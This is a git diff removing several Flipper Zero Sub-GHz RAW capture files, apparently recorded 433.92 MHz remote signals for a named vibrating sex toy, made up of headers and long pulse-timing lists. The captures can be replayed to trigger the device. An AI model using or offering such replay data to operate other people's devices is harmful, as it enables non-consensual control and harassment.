100644 index 09b769475..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6401 5567 1149 -100 1947 -98 129 -100 2145 -98 427 -64 14575 -66 2143 -66 4977 -100 11019 -100 851 -98 15727 -100 4261 -100 129 -66 827 -132 997 -136 829 -98 3485 -66 695 -66 265 -98 11755 -164 391 -66 5527 -66 1745 -98 67 -98 1283 -66 2157 -100 197 -66 3557 -66 1445 -98 3551 -66 1185 -98 333 -132 3055 -98 3833 -66 131 -66 4731 -100 20147 -100 2543 -66 229 -64 1261 -66 2201 -100 765 -198 3779 -66 4257 -66 2857 -98 9153 -100 499 -68 6881 -98 593 -66 3283 -66 925 -100 1593 -132 3097 -100 4025 -132 1975 -66 4899 -100 3067 -66 1707 -66 437 -132 391 -100 1457 -66 1559 -68 4543 -102 2599 -100 815 -98 163 -98 6951 -198 4389 -132 3733 -132 9363 -66 499 -66 735 -166 4361 -66 1493 -66 733 -66 6123 -66 2351 -98 2089 -64 489 -98 1403 -870 379 -864 417 -848 405 -848 451 -850 419 -814 445 -850 411 -878 1681 -418 389 -452 403 -426 441 -414 413 -422 411 -878 417 -430 397 -438 415 -848 405 -458 387 -446 415 -454 401 -850 415 -450 403 -426 409 -448 419 -852 409 -848 425 -426 407 -874 397 -428 409 -876 397 -424 443 -842 399 -424 445 -842 395 -880 417 -852 387 -872 409 -862 417 -844 433 -848 385 -852 421 -878 411 -848 1699 -398 435 -416 447 -414 409 -446 413 -408 441 -844 419 -412 445 -414 407 -870 417 -418 441 -394 421 -874 411 -416 427 -440 381 -452 427 -818 421 -448 413 -856 427 -408 417 -848 437 -428 415 -846 409 -440 417 -842 439 -412 415 -842 409 -870 419 -848 441 -816 451 -818 423 -874 411 -844 415 -842 425 -836 445 -836 1701 -420 413 -420 427 -398 437 -414 451 -388 441 -840 421 -418 437 -434 417 -842 409 -434 415 -418 417 -854 425 -412 413 -448 417 -426 441 -808 429 -426 411 -842 429 -424 447 -842 433 -388 445 -844 403 -422 447 -842 433 -388 445 -844 403 -850 417 -854 421 -876 413 -842 415 -842 425 -836 449 -852 417 -848 419 -820 1701 -452 405 -428 443 -382 451 -428 399 -438 417 -848 409 -422 419 -444 415 -856 415 -414 423 -444 413 -856 415 -410 441 -414 411 -440 425 -838 423 -430 405 -838 427 -424 447 -844 429 -410 415 -844 439 -410 413 -842 441 -410 445 -844 415 -842 427 -854 411 -822 433 -860 415 -840 439 -840 423 -854 411 -870 385 -872 1693 -420 395 -438 443 -414 419 -426 443 -382 447 -850 415 -416 419 -418 453 -832 417 -416 453 -420 407 -842 455 -386 437 -432 417 -418 415 -866 407 -420 451 -822 421 -440 415 -834 441 -408 435 -844 425 -426 441 -842 399 -426 445 -808 465 -814 447 -834 -RAW_Data: 413 -856 427 -840 421 -846 437 -812 417 -854 423 -842 455 -848 1699 -418 403 -426 441 -382 453 -390 453 -410 425 -836 421 -418 439 -412 445 -840 409 -444 413 -414 423 -850 413 -452 403 -456 417 -416 453 -828 415 -418 415 -850 439 -418 417 -844 443 -418 417 -846 439 -418 417 -846 435 -388 445 -124324 99 -368 99 -962 301 -266 99 -266 231 -494 133 -132 667 -100 4361 -96 849 -66 3025 -98 131 -96 1923 -66 2161 -100 199 -66 199 -200 527 -98 5195 -66 2801 -66 1355 -100 5799 -66 9037 -134 2057 -100 535 -134 235 -98 1391 -66 1707 -100 7869 -68 5279 -132 933 -66 3819 -66 333 -100 1425 -66 995 -234 697 -66 857 -98 163 -66 5129 -100 161 -98 951 -132 6205 -132 163 -98 6197 -66 1065 -66 731 -66 597 -66 7705 -132 4177 -100 4901 -68 2517 -66 7811 -66 2325 -98 4011 -66 3937 -200 3151 -100 299 -102 9127 -100 1673 -100 1093 -66 623 -166 1415 -98 1871 -98 7059 -66 2885 -64 2155 -68 1097 -166 3333 -66 1931 -196 1327 -66 3291 -134 3043 -66 9113 -66 4857 -134 497 -100 2209 -100 133 -132 861 -100 1163 -66 735 -66 1387 -132 1857 -66 131 -98 397 -100 6611 -68 4063 -66 293 -64 5007 -132 13221 -66 1777 -98 3127 -100 8611 -98 2115 -66 2951 -166 829 -100 7811 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub deleted file mode 100644 index 489c592e8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 1085 -64 4633 -606 4127 -100 14057 -68 499 -66 3703 -66 401 -66 2141 -166 1541 -66 12721 -134 835 -100 2653 -66 1691 -134 2619 -66 1469 -100 18993 -66 14411 -66 11975 -66 1615 -68 729 -100 167 -100 25155 -100 5997 -68 2917 -100 2011 -66 689 -100 12035 -66 6785 -200 1891 -66 10389 -66 5355 -134 1159 -66 2823 -134 6705 -66 4069 -68 1063 -66 561 -166 1861 -100 2395 -66 885 -132 1393 -166 601 -66 6765 -66 1401 -66 1629 -66 2609 -66 165 -98 6879 -132 4709 -66 6735 -844 417 -848 401 -852 417 -852 427 -840 419 -848 439 -846 423 -858 1669 -452 381 -450 427 -398 435 -418 447 -388 435 -864 417 -418 417 -434 427 -838 417 -418 437 -428 385 -876 415 -434 425 -440 383 -448 395 -886 387 -446 415 -852 395 -468 381 -884 397 -432 415 -846 449 -404 425 -838 413 -448 397 -864 413 -840 439 -840 427 -856 413 -854 395 -866 415 -848 403 -850 415 -852 423 -838 1701 -418 415 -454 401 -436 417 -414 419 -448 405 -852 415 -452 401 -430 407 -878 399 -426 409 -444 409 -850 413 -880 399 -426 411 -446 413 -852 415 -844 427 -850 415 -450 403 -854 411 -450 405 -852 413 -408 455 -838 423 -416 413 -850 415 -852 423 -874 411 -844 411 -846 423 -840 415 -868 383 -850 449 -834 407 -840 1687 -448 419 -450 377 -444 413 -446 415 -402 443 -842 409 -434 411 -446 419 -826 443 -412 419 -426 439 -842 433 -838 387 -450 411 -424 443 -844 399 -880 385 -852 425 -444 415 -840 423 -444 381 -886 397 -432 415 -846 405 -460 389 -874 409 -846 411 -844 427 -852 415 -852 427 -840 415 -848 437 -848 385 -886 389 -872 1665 -446 409 -456 389 -442 383 -448 395 -448 411 -852 417 -450 399 -426 407 -872 401 -456 413 -414 409 -868 413 -842 437 -412 411 -450 399 -864 413 -876 407 -838 419 -412 445 -842 401 -424 445 -846 397 -424 443 -846 435 -420 413 -846 403 -882 385 -868 415 -868 413 -854 397 -866 417 -848 435 -848 387 -862 417 -848 1709 -414 411 -436 417 -446 383 -450 409 -424 409 -876 399 -422 443 -384 451 -856 413 -418 413 -446 411 -842 419 -848 437 -420 415 -416 417 -868 411 -848 423 -852 413 -442 407 -874 397 -426 411 -880 401 -424 445 -844 397 -424 441 -842 399 -870 421 -852 381 -886 399 -864 417 -846 433 -848 417 -852 387 -874 411 -848 1699 -416 407 -424 441 -414 413 -422 411 -448 415 -856 427 -408 415 -450 423 -850 387 -446 413 -420 429 -818 421 -876 385 -454 409 -444 381 -870 409 -878 411 -848 415 -418 415 -880 413 -418 417 -848 441 -418 415 -RAW_Data: -846 441 -420 415 -123402 97 -1052 721 -66 99 -328 2413 -66 2433 -98 14411 -98 1515 -98 1127 -100 6035 -66 4219 -66 2423 -66 3547 -66 2913 -66 1095 -132 1415 -98 5693 -66 4241 -66 695 -68 7309 -66 2491 -66 889 -100 3417 -98 19791 -232 4159 -66 9395 -100 9005 -98 1771 -66 1763 -100 10393 -100 3799 -130 1121 -66 1973 -132 5117 -68 5903 -166 1285 -132 1283 -66 1893 -66 931 -132 1527 -100 933 -198 759 -98 1065 -98 361 -100 2117 -132 1885 -68 3693 -68 1685 -68 863 -66 4157 -64 991 -166 1403 -66 395 -66 987 -66 97 -66 163 -198 2469 -100 229 -262 3937 -100 1729 -332 1287 -66 3589 -132 19511 -100 697 -166 3453 -100 11977 -66 1053 -66 297 -98 6033 -132 1721 -198 3195 -100 4123 -100 4875 -66 755 -134 11433 -134 995 -66 2291 -166 897 -100 1733 -100 597 -68 495 -66 7595 -66 5295 -68 12019 -98 697 -100 523 -66 633 -98 3959 -66 5567 -66 791 -68 1957 -68 829 -66 1063 -96 689 -66 15955 -66 2275 -66 719 -66 523 -164 2503 -66 11529 -66 4557 -134 459 -66 1723 -66 1857 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub deleted file mode 100644 index d55b553b4..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -132 1195 -132 67 -100 933 -68 331 -66 1549 -98 625 -64 553 -98 1081 2397 5713 -100 2659 -68 16381 -66 5493 -66 265 -66 531 -100 1055 -132 559 -100 6427 -66 1955 -98 625 -130 3023 -100 491 -100 1717 -66 231 -130 983 -66 985 -66 1681 -66 163 -230 427 -66 7667 -64 1619 -100 1927 -134 2479 -100 1585 -98 129 -66 1379 -296 2005 -132 2673 -168 5213 -100 1155 -232 531 -132 3269 -64 2763 -66 197 -98 3903 -100 1563 -134 1259 -66 6695 -100 925 -100 4133 -68 7155 -166 1149 -98 1701 -98 957 -66 99 -66 863 -66 4065 -66 99 -66 7745 -66 12349 -100 5297 -66 229 -66 1259 -66 5423 -66 697 -98 5595 -98 753 -66 1519 -66 3003 -66 6273 -98 1249 -66 165 -66 2183 -166 5321 -66 4823 -66 12435 -66 9439 -66 8611 -66 165 -68 3015 -98 5327 -166 1679 -68 2781 -66 1873 -100 1385 -98 2987 -100 889 -68 3937 -100 1923 -98 329 -66 5157 -66 3625 -100 6237 -132 2727 -68 8999 -98 395 -98 655 -132 10285 -66 1343 -98 1281 -98 5855 -132 133 -132 1565 -166 4881 -66 467 -66 6937 -130 2897 -196 2249 -66 199 -66 3697 -68 433 -134 567 -844 427 -854 383 -884 397 -864 415 -848 405 -852 415 -852 425 -870 1667 -416 445 -416 411 -442 409 -410 435 -412 445 -846 409 -410 413 -446 413 -870 409 -430 411 -446 383 -860 411 -882 399 -432 417 -448 385 -852 425 -874 419 -852 411 -420 415 -848 437 -418 415 -846 439 -418 415 -846 407 -452 415 -846 435 -850 383 -854 423 -840 417 -850 435 -838 387 -886 389 -874 409 -850 445 -842 697 -240 733 -452 387 -442 343 -508 417 -416 409 -436 355 -920 427 -408 415 -452 393 -850 425 -444 383 -866 409 -450 389 -450 409 -426 407 -878 397 -424 441 -416 411 -850 415 -418 417 -882 411 -418 417 -846 437 -418 415 -844 439 -420 415 -844 435 -844 387 -852 425 -870 409 -826 413 -876 399 -854 413 -852 425 -838 417 -850 1695 -452 401 -428 407 -418 443 -416 395 -472 381 -848 437 -430 387 -446 415 -870 417 -416 417 -852 423 -442 383 -448 391 -450 411 -850 415 -442 411 -448 409 -864 415 -416 411 -852 413 -448 413 -844 415 -418 449 -852 409 -418 415 -850 441 -848 417 -822 413 -882 397 -864 417 -848 405 -882 417 -852 387 -870 409 -868 1679 -426 409 -448 411 -418 411 -446 415 -408 441 -844 423 -412 445 -414 409 -866 417 -418 409 -852 415 -418 449 -422 399 -432 415 -846 419 -432 397 -440 417 -850 405 -456 419 -846 407 -456 387 -874 419 -424 411 -872 407 -430 387 -872 407 -864 419 -844 403 -848 415 -886 389 -870 409 -RAW_Data: -866 417 -846 395 -880 415 -836 1703 -418 415 -410 423 -424 443 -414 409 -440 417 -848 451 -402 397 -434 415 -886 399 -430 385 -878 417 -428 397 -440 417 -416 419 -884 379 -446 413 -436 429 -838 429 -428 407 -846 427 -428 407 -874 399 -426 407 -872 397 -422 445 -844 435 -846 417 -836 413 -868 411 -840 447 -850 417 -846 403 -848 415 -852 449 -812 1703 -428 411 -416 445 -414 411 -446 415 -412 457 -846 383 -442 411 -416 439 -830 451 -416 407 -854 449 -382 445 -418 411 -446 415 -856 399 -432 415 -450 385 -854 425 -444 413 -854 397 -438 415 -850 417 -434 423 -840 447 -416 415 -119024 99 -860 97 -164 295 -66 851 -262 10461 -66 6537 -68 1781 -98 3549 -100 795 -66 1445 -66 2961 -100 2795 -198 97 -132 2005 -66 1289 -134 167 -66 10913 -68 4577 -98 6227 -68 497 -66 4947 -100 2455 -66 1455 -98 1227 -68 1491 -164 5401 -166 527 -64 1607 -130 6765 -134 1025 -100 163 -166 4081 -100 5543 -100 2619 -66 4873 -64 719 -130 22877 -168 5647 -132 1711 -66 1531 -66 2347 -68 263 -66 2447 -64 4339 -98 3109 -100 14493 -66 365 -64 3173 -166 2875 -134 303 -68 3197 -66 11855 -98 631 -66 863 -66 6305 -66 4035 -66 13005 -100 7239 -66 3239 -100 497 -100 3019 -66 1607 -66 1545 -66 7275 -66 99 -66 2255 -102 2417 -68 2287 -100 3067 -66 15615 -66 1873 -98 5641 -100 2355 -66 1913 -66 9619 -100 2117 -98 5123 -64 495 -100 465 -166 8519 -168 795 -100 9319 -100 1813 -130 1025 -66 4515 -66 4213 -66 3315 -132 655 -100 1193 -66 2827 -66 1119 -66 4111 -66 4139 -64 1549 -66 15459 -66 1813 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub deleted file mode 100644 index 95684debc..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2725 -68 5007 1917 4567 -66 789 -100 2521 -66 2443 -66 11211 -100 1657 -132 1327 -102 3749 -96 5637 -98 197 -130 423 -98 195 -98 5181 -98 1055 -66 7541 -64 1091 -66 3805 -100 1419 -66 499 -66 5159 -100 627 -66 233 -66 2213 -66 2729 -68 4177 -266 3067 -100 1675 -164 427 -164 165 -64 1379 -66 4223 -232 7229 -66 9583 -100 10989 -66 13625 -66 2669 -66 7029 -100 2117 -68 991 -66 233 -68 1763 -68 1131 -66 5589 -66 7809 -66 1123 -132 1419 -100 2057 -66 5477 -66 371 -132 1527 -100 7615 -66 1643 -66 1877 -66 2899 -68 4327 -64 2169 -68 1781 -132 1389 -66 3491 -66 951 -132 2255 -66 1589 -66 2949 -98 9001 -230 3185 -66 7081 -166 231 -68 3219 -100 2241 -68 727 -68 721 -98 11603 -858 399 -866 421 -848 435 -836 421 -856 409 -824 435 -864 421 -844 1695 -410 455 -388 443 -416 439 -410 413 -452 385 -862 409 -454 421 -418 409 -852 413 -420 433 -400 439 -418 451 -818 437 -418 415 -418 437 -428 415 -848 409 -854 417 -416 445 -844 415 -416 417 -846 441 -418 417 -846 441 -388 447 -844 437 -844 385 -856 451 -816 453 -842 401 -848 415 -856 423 -838 449 -846 411 -844 1683 -422 417 -454 403 -426 441 -382 445 -420 429 -836 421 -416 441 -840 419 -418 439 -408 413 -452 389 -452 407 -854 413 -442 409 -416 447 -414 409 -844 447 -848 413 -418 417 -848 437 -388 445 -844 441 -386 447 -846 439 -388 447 -844 433 -848 417 -852 385 -878 407 -870 419 -844 431 -814 415 -854 423 -838 441 -858 1705 -418 415 -418 451 -400 409 -446 415 -420 431 -822 441 -442 397 -850 415 -452 405 -426 441 -384 449 -390 451 -842 415 -416 417 -454 417 -412 421 -838 415 -842 445 -388 447 -848 435 -410 413 -842 439 -410 413 -876 411 -410 413 -842 441 -838 425 -824 443 -856 399 -862 417 -840 437 -840 425 -852 419 -842 409 -848 1707 -416 413 -426 443 -414 411 -422 443 -416 415 -836 415 -450 389 -854 423 -446 413 -418 429 -398 435 -416 447 -844 413 -416 447 -418 397 -438 415 -848 409 -866 419 -418 437 -858 417 -416 413 -848 413 -418 415 -848 439 -420 415 -846 439 -814 449 -854 387 -870 409 -866 419 -846 401 -850 415 -854 425 -838 415 -878 1663 -452 407 -428 409 -416 445 -416 395 -438 413 -850 435 -434 417 -842 409 -420 411 -446 415 -442 411 -414 445 -848 411 -418 415 -420 439 -412 413 -872 409 -842 419 -418 439 -822 451 -416 409 -852 449 -384 437 -868 417 -416 409 -850 449 -844 433 -814 415 -854 423 -876 419 -816 441 -844 421 -824 411 -884 399 -860 -RAW_Data: 1709 -388 445 -416 411 -424 423 -446 411 -420 429 -852 411 -410 459 -844 385 -452 409 -426 409 -446 419 -426 397 -864 419 -454 415 -408 423 -442 383 -886 399 -864 419 -416 441 -824 417 -448 411 -850 411 -416 445 -848 413 -418 445 -126558 99 -98 131 -792 131 -398 197 -100 265 -430 329 -332 133 -132 5473 -66 2881 -66 1417 -66 2491 -134 597 -66 131 -198 6909 -166 1151 -260 1521 -68 4399 -66 7045 -132 5779 -66 1653 -66 1297 -66 6013 -164 9217 -134 433 -66 1727 -202 4789 -66 5475 -100 2651 -66 503 -132 165 -66 2941 -98 1161 -100 65 -166 197 -100 2687 -66 361 -98 1841 -132 4535 -100 5535 -66 1061 -96 4637 -66 367 -100 3885 -66 1231 -66 3297 -130 1153 -66 2995 -66 563 -100 763 -66 1425 -100 6093 -132 7449 -66 9311 -98 1455 -66 1095 -64 231 -68 4613 -98 235 -66 2759 -66 99 -100 231 -100 297 -100 2825 -66 1697 -100 4541 -100 2391 -66 3849 -66 1753 -66 229 -66 1949 -100 7605 -198 393 -98 393 -66 3937 -130 1741 -100 1607 -266 1627 -198 3711 -132 9255 -68 1131 -66 2023 -66 2785 -66 3589 -100 2883 -66 2243 -66 1531 -68 3033 -66 5173 -64 459 -262 6771 -66 4709 -100 6855 -66 1095 -68 1787 -66 393 -164 9373 -100 8125 -100 14543 -134 465 -100 329 -100 2761 -66 199 -100 1891 -66 4607 -66 3021 -100 5249 -66 2031 -66 6981 -100 299 -132 12285 -134 4003 -66 1583 -132 4315 -100 3289 -66 1745 -66 3605 -68 2739 -66 5085 -100 165 -98 1127 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub deleted file mode 100644 index 71d08d4a0..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6167 -100 953 -100 3835 2939 4907 -68 7769 -66 2291 -66 10187 -66 2241 -68 929 -68 859 -100 1351 -66 7249 -66 4155 -66 1291 -68 11183 -132 3255 -100 5043 -68 995 -166 6699 -66 12475 -66 2949 -66 2389 -132 7835 -66 6283 -66 6473 -66 10893 -98 3715 -100 365 -64 1441 -66 1675 -100 3053 -66 2087 -64 7507 -98 1385 -132 3725 -66 2257 -846 415 -842 423 -852 411 -856 397 -868 419 -848 441 -812 449 -824 1701 -414 415 -418 453 -416 407 -424 443 -412 419 -860 413 -418 415 -850 443 -418 417 -416 417 -434 395 -468 381 -884 397 -432 415 -446 419 -416 411 -850 413 -868 409 -410 439 -846 419 -398 435 -842 427 -428 409 -846 423 -426 441 -842 433 -812 417 -852 421 -876 419 -816 441 -844 425 -850 419 -842 409 -836 451 -842 1695 -410 457 -388 443 -414 409 -426 423 -442 411 -838 423 -442 413 -836 409 -452 425 -416 407 -424 443 -844 435 -388 443 -416 419 -434 427 -838 419 -418 407 -850 449 -414 407 -872 419 -416 411 -852 417 -448 409 -864 419 -416 417 -858 413 -842 425 -854 409 -836 415 -848 415 -868 413 -846 423 -852 415 -854 397 -866 1669 -422 441 -416 407 -458 387 -446 415 -412 425 -850 415 -440 409 -842 423 -444 413 -416 409 -436 415 -880 401 -428 389 -446 415 -450 401 -854 413 -412 423 -880 383 -444 409 -880 403 -424 445 -846 403 -454 413 -846 433 -390 443 -848 401 -884 385 -860 411 -884 399 -860 417 -846 401 -884 385 -886 389 -876 409 -846 1671 -448 409 -422 443 -416 417 -430 411 -444 381 -884 397 -432 415 -848 407 -460 389 -446 413 -418 429 -850 387 -446 415 -444 395 -424 445 -846 403 -424 445 -846 399 -422 443 -846 397 -444 413 -842 435 -412 411 -880 375 -442 413 -878 409 -838 425 -854 415 -840 423 -840 419 -848 439 -846 423 -852 411 -854 427 -838 1705 -388 445 -416 417 -434 411 -444 415 -412 425 -850 413 -452 403 -850 415 -452 401 -426 441 -382 445 -848 415 -416 451 -418 409 -444 413 -836 415 -450 389 -852 423 -446 413 -834 411 -452 427 -854 411 -408 441 -844 423 -396 437 -842 425 -836 447 -834 415 -852 423 -838 447 -844 413 -846 421 -854 411 -854 399 -868 1671 -424 441 -414 409 -454 409 -418 417 -440 411 -844 421 -412 445 -844 403 -426 411 -446 419 -422 409 -874 411 -416 409 -444 415 -420 429 -852 385 -448 413 -868 379 -446 417 -834 441 -418 417 -862 411 -416 451 -852 387 -444 415 -109538 165 -300 97 -432 65 -200 97 -130 199 -364 231 -394 163 -136 65 -102 465 -66 14401 -66 701 -296 3589 -66 -RAW_Data: 599 -66 99 -132 5153 -66 14917 -66 5211 -68 19757 -66 851 -100 12567 -66 1313 -132 2779 -98 26267 -132 3629 -66 657 -98 3959 -66 689 -100 1449 -132 7635 -66 1151 -68 1593 -100 2299 -100 667 -66 7035 -132 2901 -98 1021 -98 20983 -100 731 -66 4173 -66 2997 -66 597 -100 8257 -64 6265 -66 265 -66 1459 -98 1231 -100 5885 -98 4859 -100 5245 -100 3345 -66 1789 -68 2889 -132 1603 -66 265 -68 2379 -68 13377 -100 2351 -66 1329 -66 4945 -66 1655 -98 4301 -66 961 -132 1703 -68 4449 -66 10323 -166 5345 -68 2321 -100 833 -100 427 -66 2707 -100 4809 -66 6967 -100 22285 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub deleted file mode 100644 index d74f3253c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 9621 8789 11201 -164 17139 -68 1317 -66 195 -66 14211 -262 5191 -164 263 -66 667 -66 1647 -66 229 -100 7307 -826 411 -850 405 -888 417 -844 401 -852 415 -852 423 -838 451 -850 1669 -450 399 -412 409 -444 409 -422 423 -410 417 -848 403 -458 417 -848 415 -432 395 -470 381 -450 391 -868 413 -450 399 -412 443 -416 409 -854 415 -448 409 -866 417 -416 407 -852 413 -418 443 -848 413 -418 411 -876 409 -448 413 -846 411 -876 397 -856 413 -852 395 -900 385 -850 439 -846 423 -852 387 -874 411 -844 1663 -450 407 -426 409 -448 411 -418 411 -444 385 -884 415 -410 425 -872 413 -418 411 -446 415 -410 421 -870 385 -852 423 -444 415 -410 421 -870 387 -884 387 -876 409 -422 425 -872 375 -462 389 -872 409 -438 417 -846 407 -462 389 -872 415 -854 407 -876 397 -880 385 -884 389 -874 411 -844 415 -878 395 -848 415 -852 1675 -466 417 -416 415 -452 401 -424 409 -446 413 -850 411 -418 411 -876 415 -418 411 -416 441 -444 383 -882 399 -864 415 -418 407 -454 381 -878 409 -852 413 -844 427 -454 415 -844 397 -454 413 -844 403 -454 415 -848 399 -424 441 -846 401 -854 415 -852 423 -872 419 -820 441 -846 423 -852 417 -842 409 -870 417 -850 1693 -418 429 -416 445 -388 445 -416 409 -426 423 -878 417 -420 411 -838 417 -420 439 -430 419 -416 415 -834 411 -844 447 -416 409 -448 411 -854 397 -864 415 -842 439 -412 413 -880 407 -412 413 -876 409 -412 445 -846 411 -412 445 -848 413 -838 425 -852 413 -868 409 -842 407 -866 415 -844 437 -840 425 -856 413 -854 1681 -426 409 -448 413 -420 433 -428 409 -416 413 -876 411 -416 415 -876 411 -418 417 -416 409 -438 415 -880 407 -838 447 -414 409 -446 411 -856 397 -860 417 -848 403 -424 447 -812 465 -388 447 -844 435 -388 447 -844 437 -390 447 -842 431 -814 415 -864 441 -832 441 -856 429 -836 419 -848 435 -844 421 -820 421 -878 1689 -418 409 -446 413 -412 425 -426 445 -382 437 -864 419 -418 417 -862 413 -416 447 -416 431 -406 415 -850 437 -828 453 -414 411 -416 441 -844 407 -868 419 -812 463 -390 445 -844 433 -410 415 -844 441 -410 415 -840 441 -416 417 -128960 197 -1430 401 -132 829 -68 797 -198 165 -66 1281 -130 6059 -166 2435 -66 1717 -134 13049 -68 965 -66 663 -66 1157 -68 331 -68 795 -66 4491 -100 11565 -132 2929 -66 985 -98 1321 -66 3077 -98 11451 -66 533 -100 5035 -66 901 -100 1897 -132 1617 -98 1317 -100 6701 -98 4443 -66 2735 -100 3303 -100 2381 -98 1151 -66 2309 -130 4147 -RAW_Data: -66 7345 -100 1891 -132 5491 -132 2771 -66 1097 -98 8977 -98 4043 -100 2891 -66 891 -66 695 -132 329 -66 4345 -98 15435 -98 831 -132 1965 -100 11111 -66 2385 -66 1263 -66 4577 -68 1457 -66 8503 -66 11891 -66 1905 -66 1147 -68 761 -100 301 -66 3123 -98 1393 -100 1263 -18796 65 -166 99 -232 165 -654 99 -228 227 -64 99 -264 131 -362 163 -100 163 -132 1825 -100 1817 -66 163 -66 3379 -100 131 -64 725 -100 4927 -100 8119 -134 2353 -100 1227 -66 925 -130 1279 -66 2289 -100 1699 -66 1925 -68 5573 -134 9363 -68 1325 -66 1477 -98 2199 -196 7113 -98 915 -98 1841 -98 2637 -130 9627 -66 3343 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub deleted file mode 100644 index f6409d92e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 10573 -132 6767 5869 9389 -66 1807 -134 5657 -66 787 -98 131 -96 2499 -98 1155 -66 4691 -98 5547 -66 4373 -164 1703 -66 557 -98 8795 -66 293 -132 1123 -68 6313 -66 11661 -132 9047 -102 4423 -64 1325 -98 1387 -134 1219 -66 1313 -64 31579 -854 411 -848 425 -854 413 -836 443 -844 409 -864 417 -846 437 -846 1669 -420 417 -452 401 -426 441 -382 443 -424 427 -836 419 -418 417 -860 413 -418 413 -448 409 -442 385 -868 413 -874 411 -418 425 -440 383 -870 411 -838 417 -848 439 -418 415 -848 437 -418 415 -846 233 -402 409 -876 397 -422 443 -846 435 -848 385 -852 423 -874 381 -876 411 -844 427 -854 411 -852 395 -866 451 -820 1695 -452 403 -424 441 -414 413 -424 425 -410 415 -882 399 -432 415 -852 415 -434 411 -442 415 -854 399 -434 417 -416 417 -418 433 -854 415 -412 421 -442 417 -848 433 -388 445 -846 401 -424 445 -844 401 -424 445 -844 401 -424 441 -840 399 -872 419 -848 417 -852 423 -840 453 -820 441 -846 425 -818 421 -876 411 -846 1703 -416 411 -426 443 -414 413 -422 425 -446 411 -856 399 -432 415 -844 439 -428 387 -446 417 -854 427 -410 417 -416 419 -452 407 -850 415 -442 395 -424 445 -844 433 -420 415 -848 435 -388 445 -848 403 -442 413 -840 439 -410 413 -880 409 -836 429 -852 413 -836 421 -840 447 -848 411 -848 421 -852 413 -854 425 -838 1705 -418 417 -416 409 -438 417 -416 417 -442 409 -846 425 -424 441 -842 435 -388 445 -416 417 -860 415 -416 415 -454 409 -442 413 -854 397 -432 415 -450 387 -854 423 -442 413 -852 399 -432 415 -848 407 -424 423 -876 411 -416 411 -872 411 -864 417 -848 399 -850 415 -854 423 -838 415 -876 413 -846 425 -854 413 -834 1701 -414 447 -420 429 -416 413 -424 445 -414 409 -850 415 -416 445 -846 411 -418 417 -418 441 -840 419 -418 435 -430 417 -450 383 -852 423 -446 411 -420 425 -838 415 -450 407 -850 415 -442 397 -880 417 -398 435 -844 427 -428 409 -844 421 -854 411 -854 427 -838 417 -848 441 -848 421 -856 411 -868 379 -882 399 -864 1671 -454 415 -416 407 -458 385 -446 415 -418 431 -834 415 -452 405 -850 415 -452 403 -424 441 -842 403 -424 443 -414 411 -420 425 -836 447 -416 399 -436 417 -846 417 -434 427 -842 419 -418 437 -824 449 -416 417 -858 413 -418 415 -122562 263 -730 131 -264 65 -396 333 -68 397 -334 231 -368 197 -66 495 -134 3311 -100 687 -68 1943 -100 